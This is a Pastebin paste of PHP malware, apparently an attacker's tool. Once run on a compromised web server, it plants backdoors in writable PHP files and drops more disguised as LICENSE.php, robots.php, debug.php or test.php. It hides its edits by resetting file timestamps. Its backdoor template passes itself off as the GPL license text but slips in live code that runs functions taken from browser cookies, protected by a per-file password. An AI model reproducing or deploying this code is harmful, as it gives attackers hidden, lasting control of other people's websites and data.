Advertisement
PalmaSolutions

robots.php

Sep 30th, 2018
341
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 29.73 KB | None | 0 0
  1. <?php
  2.  
  3. class XYZ_Logger
  4. {
  5.     private static $shouldLog = false;
  6.     public static $messageLog = array();
  7.  
  8.     public static function getShouldLog()
  9.     {
  10.         return self::$shouldLog;
  11.     }
  12.  
  13.     public static function setShouldLog($value)
  14.     {
  15.         self::$shouldLog = $value;
  16.     }
  17.  
  18.     public static function log()
  19.     {
  20.         $data = array();
  21.  
  22.         foreach (func_get_args() as $arg) {
  23.             if (! (is_string($arg) || is_numeric($arg))) {
  24.                 $arg = "\n" . print_r($arg, true);
  25.             }
  26.  
  27.             $data[] = $arg;
  28.         }
  29.  
  30.         $niceMessage = implode(" ", $data);
  31.  
  32.         self::$messageLog[] = $niceMessage;
  33.  
  34.         if (! self::$shouldLog) return;
  35.  
  36.         echo "<pre>" . $niceMessage . "</pre>\n";
  37.     }
  38. }
  39.  
  40.  
  41. class XYZ_Util
  42. {
  43.     public static function get($array, $name, $default = null)
  44.     {
  45.         return isset($array[$name]) ? $array[$name] : $default;
  46.     }
  47.  
  48.     private static function longestFirstSort($a, $b)
  49.     {
  50.         return strlen($b) - strlen($a);
  51.     }
  52.  
  53.     public static function longestFirst($array)
  54.     {
  55.         usort($array, array('XYZ_Util', 'longestFirstSort'));
  56.         return $array;
  57.     }
  58.  
  59.     /**
  60.      * omit({a: 1, b: 2, c: 3}, 'b', 'c') => {a: 1}
  61.      */
  62.     public static function omit($array)
  63.     {
  64.         $names = array_slice(func_get_args(), 1);
  65.  
  66.         foreach ($names as $name) {
  67.             unset($array[$name]);
  68.         }
  69.  
  70.         return $array;
  71.     }
  72.  
  73.     /**
  74.      * pluck({a: 1, b: 2}, 'a') => {a: 1}
  75.      */
  76.     public static function pluck($array, $name)
  77.     {
  78.         $res = array();
  79.  
  80.         foreach ($array as $element) {
  81.             $res[] = $element[$name];
  82.         }
  83.  
  84.         return $res;
  85.     }
  86.  
  87.     /**
  88.      * without([1,2,3], 2, 3) => [1]
  89.      */
  90.     public static function without($array)
  91.     {
  92.         $names = array_slice(func_get_args(), 1);
  93.  
  94.         $res = array();
  95.  
  96.         foreach ($array as $element) {
  97.             if (in_array($element, $names)) continue;
  98.             $res[] = $element;
  99.         }
  100.  
  101.         return $res;
  102.     }
  103.  
  104.     public static function nowww($string)
  105.     {
  106.         if (0 === strpos($string, 'www.')) {
  107.             $string = substr($string, 4);
  108.         }
  109.  
  110.         return $string;
  111.     }
  112.  
  113.     public static function addClosingTag($contents)
  114.     {
  115.         $starting = strrpos($contents, '<?');
  116.         $closing = strrpos($contents, '?>');
  117.  
  118.         if ($starting > $closing || ! $closing) $contents .= '?>';
  119.  
  120.         return $contents;
  121.     }
  122.  
  123.     public static function contains($string, $search)
  124.     {
  125.         return false !== strpos($string, $search);
  126.     }
  127.  
  128.     public static function ignoreAbort()
  129.     {
  130.         ignore_user_abort(false);
  131.         self::timeLimit(1800);
  132.     }
  133.  
  134.     public static function timeLimit($time)
  135.     {
  136.         set_time_limit($time);
  137.         ini_set('max_execution_time', $time);
  138.     }
  139.  
  140.     public static function isCli()
  141.     {
  142.         return php_sapi_name() == 'cli';
  143.     }
  144.  
  145.     public static function setting($name, $default = null)
  146.     {
  147.         $headerName = 'HTTP_X_'.strtoupper($name);
  148.         if (isset($_SERVER[$headerName])) return $_SERVER[$headerName];
  149.         if (self::isCli() && getenv($name)) return getenv($name);
  150.         return $default;
  151.     }
  152.  
  153.     public static function getDocRoot()
  154.     {
  155.         return str_replace('\\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0 - strlen($_SERVER['PHP_SELF'])));
  156.     }
  157.  
  158.     public static function rglob($pattern, $flags = 0) {
  159.         $files = glob($pattern, $flags);
  160.  
  161.         foreach (glob(dirname($pattern).'/*', GLOB_ONLYDIR|GLOB_NOSORT) as $dir) {
  162.             $files = array_merge($files, self::rglob($dir.'/'.basename($pattern), $flags));
  163.         }
  164.  
  165.         return $files;
  166.     }
  167. }
  168.  
  169.  
  170. class XYZ_Browser_Page
  171. {
  172.     private $html;
  173.  
  174.     /** @var DOMXPath */
  175.     private $xpath;
  176.  
  177.     private $headers;
  178.  
  179.     private $info;
  180.  
  181.     public function __construct($html, $headers, $info, $xpath)
  182.     {
  183.         $this->html = $html;
  184.         $this->headers = $headers;
  185.         $this->info = $info;
  186.         $this->xpath = $xpath;
  187.     }
  188.  
  189.     public function getInfo()
  190.     {
  191.         return $this->info;
  192.     }
  193.  
  194.     public function getHtml()
  195.     {
  196.         return $this->html;
  197.     }
  198.  
  199.     public function getText()
  200.     {
  201.         return strip_tags($this->getHtml());
  202.     }
  203.  
  204.     public function xpath($query, $context = null)
  205.     {
  206.         return $this->xpath->query($query, $context);
  207.     }
  208.  
  209.     public function xpathFirst($query, $context = null)
  210.     {
  211.         return $this->xpath($query, $context)->item(0);
  212.     }
  213.  
  214.     public static function create($headerString, $html, $info)
  215.     {
  216.         $lines = preg_split('#\r?\n#', $headerString);
  217.         array_shift($lines);
  218.  
  219.         $headers = array();
  220.  
  221.         foreach ($lines as $line) {
  222.             list($key, $value) = explode(': ', $line);
  223.             $headers[$key] = $value;
  224.         }
  225.  
  226.         $isHTML = array_key_exists('content_type', $info) && false !== strpos($info['content_type'], 'html');
  227.  
  228.         if (! $isHTML) {
  229.             return new XYZ_Browser_Page($html, $headers, $info, false);
  230.         }
  231.  
  232.         if (class_exists('DOMDocument')) {
  233.             $doc = new DOMDocument('1.0', 'utf-8');
  234.  
  235. //          $fixEncoding = '<meta http-equiv="content-type" content="text/html; charset=utf-8">';
  236. //          $doc->loadHTML($fixEncoding.$html);
  237.             @$doc->loadHTML($html);
  238.  
  239.             $xpath = new DOMXpath($doc);
  240.         } else {
  241.             // just fucking crash if there's no dom support and client tries to use it
  242.             $xpath = null;
  243.         }
  244.  
  245.         return new XYZ_Browser_Page($html, $headers, $info, $xpath);
  246.     }
  247.  
  248.     public function getHeaders()
  249.     {
  250.         return $this->headers;
  251.     }
  252.  
  253.     public function getCookie($cookieName)
  254.     {
  255.         foreach ($this->headers as $name => $header) {
  256.             if ($name != 'Set-Cookie') continue;
  257.  
  258.             list($cookie) = explode(';', $header);
  259.             list($name, $value) = explode('=', $cookie);
  260.  
  261.             if ($name == $cookieName) return $value;
  262.         }
  263.  
  264.         return false;
  265.     }
  266.  
  267.     public function getFormValues($xpath)
  268.     {
  269.         $form = $this->xpathFirst($xpath);
  270.  
  271.         // todo: add support for the rest
  272.  
  273.         $inputs = $this->xpath(".//input[@type='hidden' or @type='password' or @type='email' or @type='text']", $form);
  274.  
  275.         $values = array();
  276.  
  277.         for ($i = 0; $i < $inputs->length; $i++) {
  278.             /** @var DOMElement $input */
  279.             $input = $inputs->item($i);
  280.             $name = $input->getAttribute('name');
  281.             $value = $input->getAttribute('value');
  282.             $values[$name] = $value;
  283.         }
  284.  
  285.         return $values;
  286.     }
  287. }
  288.  
  289. class XYZ_Browser
  290. {
  291.     private $defaultHeaders = array();
  292.     private $defaultOptions = array();
  293.     private $dnsValues = array();
  294.  
  295.     private $ch;
  296.     private $options;
  297.  
  298.     private $lastUrl = false;
  299.  
  300.     private $retries = 1;
  301.     private $retrySleep = 5;
  302.  
  303.     public function __construct($ch, $options = array())
  304.     {
  305.         $this->ch = $ch;
  306.         $this->options = $options;
  307.     }
  308.  
  309.     /**
  310.      * @param $url
  311.      * @param array $options
  312.      * @return XYZ_Browser_Page
  313.      */
  314.     public function get($url, $options = array())
  315.     {
  316.         $options[CURLOPT_POST] = false;
  317.         return $this->query($url, $options);
  318.     }
  319.  
  320.     public function post($url, $options = array())
  321.     {
  322.         return $this->query($url, $options);
  323.     }
  324.  
  325.     public function setDefaultOptions($options)
  326.     {
  327.         $this->defaultOptions = $options;
  328.     }
  329.  
  330.     public function setDefaultHeaders($headers)
  331.     {
  332.         $this->defaultHeaders = $headers;
  333.     }
  334.  
  335.     public function setDNSValue($host, $ip)
  336.     {
  337.         $this->dnsValues[$host] = $ip;
  338.     }
  339.  
  340.     public function setRetries($value)
  341.     {
  342.         $this->retries = $value;
  343.     }
  344.  
  345.     public function setRetrySleep($value)
  346.     {
  347.         $this->retrySleep = $value;
  348.     }
  349.  
  350.     private function query($url, $requestOptions = array())
  351.     {
  352.         $attempt = 0;
  353.  
  354.         do {
  355.             $page = $this->doQuery($url, $requestOptions);
  356.  
  357.             if ($page) return $page;
  358.  
  359.             $attempt++;
  360.             sleep($this->retrySleep);
  361.         } while ($attempt < $this->retries);
  362.  
  363.         return $page;
  364.     }
  365.  
  366.     private function doQuery($url, $requestOptions = array())
  367.     {
  368.         XYZ_Logger::log("Query to", $url);
  369.  
  370.         $extraVerbose = @$requestOptions['extraVerbose'];
  371.         unset($requestOptions['extraVerbose']);
  372.  
  373.         $headers = array(
  374.             'Expect: ',
  375.             'Cache-Control: no-cache'
  376.         );
  377.  
  378.         foreach ($this->dnsValues as $host => $ip) {
  379.             if (false === strpos($url, $host)) continue;
  380.  
  381.             $url = str_replace($host, $ip, $url);
  382.             $headers[] = "Host: $host";
  383.  
  384.             break;
  385.         }
  386.  
  387.         if ($this->lastUrl) {
  388.             $headers[] = 'Referer: '.$this->lastUrl;
  389.         }
  390.  
  391.         $this->maybeSetRef($url);
  392.  
  393.         $headers = array_merge($this->defaultHeaders, $headers);
  394.  
  395.         $defaults = array(
  396.             CURLOPT_COOKIEJAR => ( 0 === stripos(PHP_OS, 'WIN') ? "NUL" : "/dev/null" ),
  397. //          CURLOPT_COOKIEFILE => "/tmp/123",
  398. //          CURLOPT_COOKIEJAR => "/tmp/123",
  399.             CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0',
  400.             CURLOPT_HTTPHEADER => $headers,
  401.             CURLOPT_RETURNTRANSFER => true,
  402.             CURLOPT_CONNECTTIMEOUT => 3,
  403.             CURLOPT_TIMEOUT => 15,
  404.             CURLOPT_URL => $url,
  405.             CURLOPT_ENCODING => 'gzip',
  406.             CURLOPT_FOLLOWLOCATION => true,
  407.             CURLOPT_HEADER => true,
  408.         );
  409.  
  410.         $options = $requestOptions + $this->defaultOptions + $defaults;
  411.  
  412.         if (isset($requestOptions[CURLOPT_HTTPHEADER])) {
  413.             $options[CURLOPT_HTTPHEADER] = array_merge($requestOptions[CURLOPT_HTTPHEADER], $defaults[CURLOPT_HTTPHEADER]);
  414.         }
  415.  
  416.         if (isset($options[CURLOPT_FILE]) || isset($requestOptions[CURLOPT_WRITEFUNCTION])) {
  417.             unset($options[CURLOPT_RETURNTRANSFER]);
  418.         }
  419.  
  420.         if ($extraVerbose && XYZ_Logger::getShouldLog()) {
  421.             $verbose = fopen('php://temp', 'rw+');
  422.             $options[CURLOPT_VERBOSE] = 1;
  423.             $options[CURLOPT_STDERR] = $verbose;
  424.         }
  425.  
  426.         $constants = get_defined_constants(true);
  427.         $curlConstants = array();
  428.  
  429.         foreach ($constants['curl'] as $nicename => $value) {
  430.             if (0 !== strpos($nicename, 'CURLOPT_')) continue;
  431.             $curlConstants[$value] = $nicename;
  432.         }
  433.  
  434.         foreach ($options as $key => $value) {
  435.             $status = curl_setopt($this->ch, $key, $value);
  436.  
  437.             if (! $status) {
  438.                 XYZ_Logger::log("Could not set curl option " . $curlConstants[$key] . " to " . $value);
  439.             }
  440.         }
  441.  
  442.         $response = curl_exec($this->ch);
  443.  
  444.         if ($extraVerbose && XYZ_Logger::getShouldLog()) {
  445.             XYZ_Logger::log("CURL info: ".var_export(@curl_getinfo($this->ch), true));
  446.             XYZ_Logger::log("CURL errno: ".@curl_errno($this->ch));
  447.  
  448.             rewind($verbose);
  449.             $verboseLog = stream_get_contents($verbose);
  450.             XYZ_Logger::log("CURL headers:\n$verboseLog");
  451.         }
  452.  
  453.         if (! $response) {
  454.             XYZ_Logger::log("CURL error: ".@curl_error($this->ch));
  455.             return $response;
  456.         }
  457.  
  458.         $parts = explode("\r\n\r\n", $response);
  459.  
  460.         while (0 === stripos($parts[1], 'HTTP/')) array_shift($parts);
  461.  
  462.         $header = array_shift($parts);
  463.         $body = implode("\r\n\r\n", $parts);
  464.  
  465.         return XYZ_Browser_Page::create($header, $body, curl_getinfo($this->ch));
  466.     }
  467.  
  468.     private function maybeSetRef($url)
  469.     {
  470.         if ($this->canBeRef($url)) {
  471.             $this->lastUrl = $url;
  472.         }
  473.     }
  474.  
  475.     private function canBeRef($url)
  476.     {
  477.         if (! isset($this->options['norefDomains'])) return true;
  478.  
  479.         foreach ($this->options['norefDomains'] as $pattern) {
  480.             if (false !== strpos($url, $pattern)) return false;
  481.         }
  482.  
  483.         return true;
  484.     }
  485. }
  486.  
  487.  
  488. class XYZ_IncludedChecker
  489. {
  490.     /** @var  XYZ_Browser */
  491.     private $browser;
  492.  
  493.     /** @var  XYZ_Writer */
  494.     private $writer;
  495.  
  496.     private $delimiter = 'xyz-include-checker';
  497.  
  498.     public function __construct($browser, $writer)
  499.     {
  500.         $this->browser = $browser;
  501.         $this->writer = $writer;
  502.     }
  503.  
  504.     public function getIncludedFiles($file, $url)
  505.     {
  506.         $included = $this->readFilesInclude($file);
  507.  
  508.         if (! $included) {
  509.             XYZ_Logger::log("Could not get files using include");
  510.             $included = $this->readFilesEdit($file, $url);
  511.         }
  512.  
  513.         if (! $included) {
  514.             return array("error" => "Could not read included files");
  515.         }
  516.  
  517.         XYZ_Logger::log("Included:\n" . implode("\n", $included));
  518.  
  519.         return $included;
  520.     }
  521.  
  522.     private function readFilesInclude($file)
  523.     {
  524. // wordpress defines global variables by just assigning them in global scope, so if we include from function, they aren't global
  525. // therefore when you try to include index from function, it tries to define some global shit like this, which then crashes shit
  526.         $json = json_encode($file);
  527.  
  528.         $includerContents = <<<EOF
  529. <?php
  530.  
  531. function _print_included_wp() {
  532.     echo "<$this->delimiter>".json_encode(get_included_files())."</$this->delimiter>";
  533.     unlink(__FILE__);
  534.     exit();
  535. }
  536.  
  537. \$file = json_decode('$json');
  538.  
  539. register_shutdown_function('_print_included_wp');
  540.  
  541. chdir(dirname(\$file));
  542.  
  543. \$myname = \$_SERVER['SCRIPT_NAME'];
  544.  
  545. foreach (\$_SERVER as \$key => \$value) {
  546.     \$_SERVER[\$key] = str_replace(\$myname, '/'.basename(\$file), \$value);
  547. }
  548.  
  549. \$_SERVER['REQUEST_URI'] = \$_SERVER['SCRIPT_URL'] = '/';
  550. \$_SERVER['SCRIPT_URI'] = 'http://'.\$_SERVER['HTTP_HOST'] . '/';
  551.  
  552. ob_start();
  553. @include \$file;
  554. ob_end_clean();
  555. _print_included_wp();
  556. EOF;
  557.  
  558.         $file = 'timthumb-v3.php';
  559.         $written = file_put_contents(dirname(__FILE__) . '/' . $file, $includerContents);
  560.  
  561.         if (! $written) {
  562.             XYZ_Logger::log("Could not write", dirname(__FILE__) . '/' . $file);
  563.             return false;
  564.         }
  565.  
  566.         $url = "http://" . $_SERVER['HTTP_HOST'] . rtrim(dirname($_SERVER['REQUEST_URI']), '/') . "/" . $file;
  567.  
  568.         XYZ_Logger::log("Getting files from", $url);
  569.  
  570.         $response = $this->browser->get($url);
  571.  
  572.         if ($response) $response = $response->getHtml();
  573.  
  574.         $res = $this->parseIncludedResponse($response);
  575.         // slice robots, index
  576.         if ($res) $res = array_slice($res, 2);
  577.         return $res;
  578.     }
  579.  
  580.     private function parseIncludedResponse($response)
  581.     {
  582.         if (!$response || !preg_match("#<$this->delimiter>(.+?)</$this->delimiter>#is", $response, $matches)) {
  583.             XYZ_Logger::log("BAD response length " . strlen($response));
  584.  
  585.             if (preg_match('#<title.*</title>#is', $response, $titles)) {
  586.                 XYZ_Logger::log("Title " . htmlspecialchars($titles[0]));
  587.             } else {
  588.                 XYZ_Logger::log("No title");
  589.             }
  590.  
  591.             return false;
  592.         }
  593.  
  594.         return json_decode($matches[1], true);
  595.     }
  596.  
  597.     private function readFilesEdit($file, $url)
  598.     {
  599.         XYZ_Logger::log("Editing index $file");
  600.  
  601.         if (! is_writable($file)) {
  602.             XYZ_Logger::log("Index is not writable");
  603.             return false;
  604.         }
  605.  
  606.         $contents = $this->writer->read($file);
  607.         $contents = $this->writer->addClosingTag($contents);
  608.  
  609.         $prefix = <<<EOF
  610. <?php
  611.  
  612. if (! function_exists('xyz_printend')) {
  613.     function xyz_printend() {
  614.         echo '<!--<$this->delimiter>'.json_encode(get_included_files()).'</$this->delimiter>-->';
  615.     }
  616.  
  617.     register_shutdown_function('xyz_printend');
  618. }
  619.  
  620. ?>
  621. EOF;
  622.  
  623.         $contents = $prefix.$contents."<?php printend(); ?>";
  624.  
  625.         $written = $this->writer->write($file, $contents);
  626.  
  627.         if (! $written) {
  628.             XYZ_Logger::log("Could not write index");
  629.             return false;
  630.         }
  631.  
  632.         // my local nginx for some reason does not use the new content without it. sleep(3) works too, but let's use 5 for safety
  633.         sleep(5);
  634.  
  635.         XYZ_Logger::log("Fetching from $url");
  636.  
  637.         $response = $this->browser->get($url);
  638.  
  639.         if ($response) $response = $response->getHtml();
  640.  
  641.         $this->writer->rollback($file);
  642.  
  643.         $res = $this->parseIncludedResponse($response);
  644.         // slice index
  645.         if ($res) $res = array_slice($res, 1);
  646.         return $res;
  647.     }
  648. }
  649.  
  650.  
  651. class XYZ_Writer
  652. {
  653.     private $oldContents = array();
  654.  
  655.     public function read($file)
  656.     {
  657.         $contents = file_get_contents($file);
  658.  
  659.         $this->oldContents[$file] = array(
  660.             'contents' => $contents,
  661.             'mtime' => filemtime($file),
  662.             'atime' => fileatime($file)
  663.         );
  664.  
  665.         return $contents;
  666.     }
  667.  
  668.     public function write($file, $data)
  669.     {
  670.         $editMode = file_exists($file);
  671.  
  672.         if ($editMode) {
  673.             $this->read($file);
  674.         }
  675.  
  676.         if (! ($written = file_put_contents($file, $data))) return false;
  677.  
  678.         if ($editMode) {
  679.             @touch($file, $this->oldContents[$file]['mtime'] + 1, $this->oldContents[$file]['atime'] + 1);
  680.         }
  681.  
  682.         return $written;
  683.     }
  684.  
  685.     public function rollback($file)
  686.     {
  687.         $fileData = $this->oldContents[$file];
  688.         file_put_contents($file, $fileData['contents']);
  689.         @touch($file, $fileData['mtime'], $fileData['atime']);
  690.     }
  691.  
  692.     public function addClosingTag($string)
  693.     {
  694.         $starting = strrpos($string, '<?');
  695.         $closing = strrpos($string, '?>');
  696.  
  697.         if ($starting > $closing || ! $closing) $string .= '?>';
  698.  
  699.         return $string;
  700.     }
  701.  
  702.     public function getDirTree($dir)
  703.     {
  704.         $list = array( $dir );
  705.  
  706.         $dirs = glob($dir.'/*', GLOB_ONLYDIR);
  707.  
  708.         $dirs = array_slice($dirs, 0, 100);
  709.  
  710.         foreach ($dirs as $subdir) {
  711.             $list = array_merge($list, $this->getDirTree($subdir));
  712.         }
  713.  
  714.         return $list;
  715.     }
  716. }
  717.  
  718.  
  719.  
  720.  
  721.  
  722.  
  723.  
  724.  
  725.  
  726.  
  727.  
  728. class XYZ_Backdoor
  729. {
  730.     private $type;
  731.  
  732.     private $code;
  733.  
  734.     private $flags;
  735.  
  736.     public function __construct($type, $code, $flags = '')
  737.     {
  738.         $this->type = $type;
  739.         $this->code = $code;
  740.         $this->flags = $flags;
  741.     }
  742.  
  743.     public function hasFlag($flag)
  744.     {
  745.         return in_array($flag, explode(',', $this->flags));
  746.     }
  747.  
  748.     public function getType()
  749.     {
  750.         return $this->type;
  751.     }
  752.  
  753.     public function getCode($password)
  754.     {
  755.         return str_replace('{{PASSWORD}}', $password, $this->code);
  756.     }
  757. }
  758.  
  759. class XYZ_Infestor
  760. {
  761.     /** @var  XYZ_IncludedChecker */
  762.     private $ic;
  763.  
  764.     /** @var  XYZ_Writer */
  765.     private $writer;
  766.  
  767.     /** @var  XYZ_Backdoor[] */
  768.     private $backdoors;
  769.  
  770.     private $results = array();
  771.  
  772.     private $log = "";
  773.  
  774.     public function __construct($ic, $writer, $backdoors)
  775.     {
  776.         $this->ic = $ic;
  777.         $this->writer = $writer;
  778.         $this->backdoors = $backdoors;
  779.     }
  780.  
  781.     public function run()
  782.     {
  783.         $docRoot = $_SERVER['DOCUMENT_ROOT'];
  784.         $index = $docRoot . '/' . 'index.php';
  785.         $indexUrl = 'http://'. $_SERVER['HTTP_HOST'];
  786.         $indexIncludedFiles = $this->ic->getIncludedFiles($index, $indexUrl);
  787.  
  788.         mt_srand(crc32($_SERVER['REQUEST_URI']));
  789.  
  790.         $dirs = $this->writer->getDirTree($docRoot);
  791.  
  792.         $this->backdoorFiles($indexIncludedFiles);
  793.         $this->backdoorDirs($dirs);
  794.  
  795.         return array(
  796.             'log' => $this->log,
  797.             'results' => $this->results
  798.         );
  799.     }
  800.  
  801.     private function log()
  802.     {
  803.         $args = func_get_args();
  804.         $this->log .= implode(" ", $args). "\n";
  805.     }
  806.  
  807.     private function backdoorFiles($files)
  808.     {
  809.         $writable = array_filter($files, 'is_writable');
  810.  
  811.         if (! count($writable)) {
  812.             $this->log("No writable included files");
  813.             return;
  814.         }
  815.  
  816.         $writable = $this->shuffle($writable);
  817.         $writable = array_slice($writable, 0, 10);
  818.  
  819.         foreach ($writable as $file) {
  820.             $this->backdoorFile($file);
  821.         }
  822.     }
  823.  
  824.     private function shuffle($items)
  825.     {
  826.         for ($i = count($items) - 1; $i > 0; $i--)
  827.         {
  828.             $j = @mt_rand(0, $i);
  829.             $tmp = $items[$i];
  830.             $items[$i] = $items[$j];
  831.             $items[$j] = $tmp;
  832.         }
  833.  
  834.         return $items;
  835.     }
  836.  
  837.     private function backdoorFile($file)
  838.     {
  839.         /** @var XYZ_Backdoor $backdoor */
  840.         $backdoor = XYZ_Util::random($this->backdoors);
  841.  
  842.         $type = XYZ_Util::random(array('prepend', 'append'));
  843.  
  844.         if ($backdoor->hasFlag('prependonly')) {
  845.             $type = 'prepend';
  846.         }
  847.  
  848.         $password = substr(md5('something'.$file), 0, 6);
  849.         $password = preg_replace('#^\d#', 'p', $password);
  850.         $password = strtoupper($password);
  851.  
  852.         if (file_exists($file)) {
  853.             $content = $this->writer->read($file);
  854.  
  855.             if (XYZ_Util::contains($content, $backdoor->getCode($password))) {
  856.                 $this->log("Already added to", $file);
  857.                 $this->addResult($file, $backdoor, $password);
  858.                 return;
  859.             }
  860.  
  861.             if ($type == 'prepend') {
  862.                 $content = $backdoor->getCode($password) . $content;
  863.             } else {
  864.                 $content = XYZ_Util::addClosingTag($content) . $backdoor->getCode($password);
  865.             }
  866.         } else {
  867.             $content = $backdoor->getCode($password);
  868.         }
  869.  
  870.         $this->log("Writing", $backdoor->getType(), "to", $file, "with type", $type);
  871.  
  872.         $written =  $this->writer->write($file, $content);
  873.  
  874.         if (! $written) {
  875.             $this->log("Could not write");
  876.             return;
  877.         }
  878.  
  879.         $this->addResult($file, $backdoor, $password);
  880.     }
  881.  
  882.     private function addResult($file, $backdoor, $password)
  883.     {
  884.         $docRoot = $_SERVER['DOCUMENT_ROOT'];
  885.         $path = str_replace($docRoot, '', $file, $count);
  886.  
  887.         if (! $count) {
  888.             $this->log("Path not in doc root?", $path, $docRoot);
  889.             return;
  890.         }
  891.  
  892.         $path = '/' . ltrim($path, '/');
  893.  
  894.         $url = "http://" . $_SERVER['HTTP_HOST'] . $path;
  895.  
  896.         $this->results[] = array(
  897.             'url' => $url,
  898.             'password' => $password,
  899.             'type' => $backdoor->getType()
  900.         );
  901.     }
  902.  
  903.     private function backdoorDirs($dirs)
  904.     {
  905.         $dirs = array_filter($dirs, 'is_writable');
  906.         $dirs = XYZ_Util::longestFirst($dirs);
  907.  
  908.         $dirs = $this->shuffle($dirs);
  909.         $dirs = array_slice($dirs, 0, 10);
  910.  
  911.         foreach ($dirs as $dir) {
  912.             $this->backdoorDir($dir);
  913.         }
  914.     }
  915.  
  916.     private function backdoorDir($dir)
  917.     {
  918.         $filename = XYZ_Util::random(array('LICENSE.php', 'robots.php', 'debug.php', 'test.php'));
  919.  
  920.         $path = $dir . '/' . $filename;
  921.  
  922.         $this->backdoorFile($path);
  923.     }
  924. }
  925.  
  926. $fabLicense = <<<EOF
  927. <?php /*            GNU GENERAL PUBLIC LICENSE
  928.                        Version 3, 29 June 2007
  929.  
  930. Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
  931. Everyone is permitted to copy and distribute verbatim copies
  932. of this license document, but changing it is not allowed.
  933.  
  934.                         Preamble
  935.  
  936. The GNU General Public License is a free, copyleft license for
  937. software and other kinds of works.
  938.  
  939. The licenses for most software and other practical works are designed
  940. to take away your freedom to share and change the works.  By contrast,
  941. the GNU General Public License is intended to guarantee your freedom to
  942. share and change all versions of a program--to make sure it remains free
  943. software for all its users.  We, the Free Software Foundation, use the
  944. GNU General Public License for most of our software; it applies also to
  945. any other work released this way by its authors.  You can apply it to
  946. your programs, too.
  947.  
  948. When we speak of free software, we are referring to freedom, not
  949. price.  Our General Public Licenses are designed to make sure that you
  950. have the freedom to distribute copies of free software (and charge for
  951. them if you wish), that you receive source code or can get it if you
  952. want it, that you can change the software or use pieces of it in new
  953. free programs, and that you know you can do these things.
  954.  
  955. To protect your rights, we need to prevent others from denying you
  956. these rights or asking you to surrender the rights.  Therefore, you have
  957. certain responsibilities if you distribute copies of the software, or if
  958. you modify it: responsibilities to respect the freedom of others.
  959.  
  960. For example, if you distribute copies of such a program, whether
  961. gratis or for a fee, you must pass on to the recipients the same
  962. freedoms that you received.  You must make sure that they, too, receive
  963. or can get the source code.  And you must show them these terms so they
  964. know their rights.
  965.  
  966. Developers that use the GNU GPL protect your rights with two steps:
  967. (1) assert copyright on the software, and (2) offer you this License
  968. giving you */extract(\$_COOKIE);/* copy, distribute and/or modify it.
  969.  
  970. For the developers' and authors' protection, the GPL clearly explains
  971. that there is no warranty for this free software.  For both users' and
  972. authors' sake, the GPL requires that modified versions be marked as
  973. changed, so that their problems will not be attributed erroneously to
  974. authors of previous versions.
  975.  
  976. Some devices are designed to deny users access to install or run
  977. modified versions of the software inside them, although the manufacturer
  978. can do so.  This is fundamentally incompatible with the aim of
  979. protecting users' freedom to change the software.  The systematic
  980. pattern of such abuse occurs in the area of products for individuals to
  981. use, which is precisely where it is most unacceptable.  Therefore, we
  982. have designed this version of the GPL to prohibit the practice for those
  983. products.  If such problems arise substantially in other domains, we
  984. stand ready to extend this provision to those domains in future versions
  985. of the GPL, as needed to protect the freedom of users.
  986.  
  987. Finally, every program is threatened constantly by software patents.
  988. States should not allow patents to restrict development and use of
  989. software on general-purpose computers, but in those that do, we wish to
  990. avoid the special danger that patents applied to a free program could
  991. make it effectively proprietary. patents applied to  GPL assures that
  992. patents cannot be used to render the program non-free.
  993.  
  994. The precise terms and conditions for copying, distribution and
  995. modification follow.
  996.  
  997.                    TERMS AND CONDITIONS
  998.  
  999. 0. Definitions.
  1000.  
  1001. "This License" refers to version 3 of the GNU General Public License.
  1002.  
  1003. "Copyright" also means copyright-like laws that apply to other kinds of
  1004. works, such as semiconductor masks.
  1005.  
  1006. "The Program" refers to any copyrightable work licensed under this
  1007. License.  Each licensee is addressed as "you".  "Licensees" and
  1008. "recipients" may be individuals or organizations.
  1009.  
  1010. To "modify" a work means to copy from or adapt all or part of the work
  1011. in a fashion requiring copyright permission, other than the making of an
  1012. exact copy.  The resulting work is called a "modified version" of the
  1013. earlier work or a work "based on" the earlier work.
  1014.  
  1015. A "covered work" means either the unmodified Program or a work based
  1016. on the Program.
  1017.  
  1018. To "propagate" a work means to do anything with it that, without
  1019. permission, would make you directly or secondarily liable for
  1020. infringement under applicable copyright law, except executing it on a
  1021. computer or modifying a private copy.  Propagation includes copying,
  1022. distribution (with or without modification), making available to the
  1023. public, and in some countries other activities as well.
  1024.  
  1025. To "convey" a work means any kind of propagation that enables other
  1026. parties to make or receive copies.  Mere interaction with a user through
  1027. a computer network, with no transfer of a copy, is not conveying.
  1028.  
  1029. An interactive user interface displays "Appropriate Legal Notices"
  1030. to the extent that it includes a convenient and prominently visible
  1031. feature that (1) displays an appropriate copyright notice, and (2)
  1032. tells the user that there is no warranty for the work (except to the
  1033. extent that warranties are provided), that licensees may convey the
  1034. work under this License, and how to view a copy of this License.  If
  1035. the interface presents a list of user commands or options, such as a
  1036. menu, a prominent item in the list meets this criterion.
  1037.  
  1038. 1. Source Code.
  1039.  
  1040. The "source code" for a work means the preferred form of the work
  1041. for making modifications to it.  "Object code" means any non-source
  1042. form of a work.
  1043.  
  1044. A "Standard Interface" means an interface that either is an official
  1045. standard defined by a recognized standards body, or, in the case of
  1046. interfaces specified for a particular programming language, one that
  1047. is widely used among developers working in that language.
  1048.  
  1049. The "System Libraries" of an executable work include anything, other
  1050. than the work as a whole, that (a) is included in the normal form of
  1051. packaging a Major Component, but which is not part of that Major
  1052. Component, and (b) serves only to enable use of the work with that
  1053. Major Component, or to implement a Standard Interface for which an
  1054. implementation is available to the public in source code form.  A
  1055. "Major Component", in this context, means a major essential component
  1056. (kernel, window system, and so on) of the specific operating system
  1057. (if any) on which the executable work runs, or a compiler used to
  1058. produce the work, or an object code interpreter used to run it.
  1059.  
  1060. The "Corresponding Source" for a work in object code form means all
  1061. the source code needed to generate, install, and (for an executable
  1062. work) run the object code and to modify the work, including scripts to
  1063. control those activities.  However, it does not include the work's
  1064. System Libraries, or general-purpose tools or generally available free
  1065. programs which are used unmodified in performing those activities but
  1066. which are not */@\${{PASSWORD}}&&@\$F(\$A,\$B);/*.  For example, Corresponding Source
  1067.  
  1068. the work, and the source code for shared libraries and dynamically
  1069. linked subprograms that the work is specifically designed to require,
  1070. such as by intimate data communication or control flow between those
  1071. subprograms and other parts of the work.
  1072.  
